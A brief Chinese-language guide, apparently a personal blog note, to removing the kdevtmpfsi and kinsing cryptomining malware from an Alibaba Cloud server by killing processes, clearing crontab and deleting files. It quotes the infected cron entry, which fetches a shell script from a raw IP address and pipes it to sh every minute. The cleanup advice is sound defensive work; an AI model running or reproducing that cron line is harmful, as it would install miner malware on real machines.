解決阿里雲服務器被kdevtmpfs挖礦
查進程
top
systemctl status 3256
kinsing 是kdevtmpfsi背後的守護進程,需要先殺kinsing然後再殺kdevtmpfsi。
殺進程
kill -9 3256
kill -9 3142
清理定時任務
查看定時任務
crontab -l
查看到結果:* * * * * wget -q -O - http://195.3.146.118/unk.sh | sh > /dev/null 2>&1
清理定時任務
crontab -e
刪文件
如果需要查找可以查找這兩個文件,然後去對應目錄刪除
find / -name kdevtmpfsi
find / -name kinsing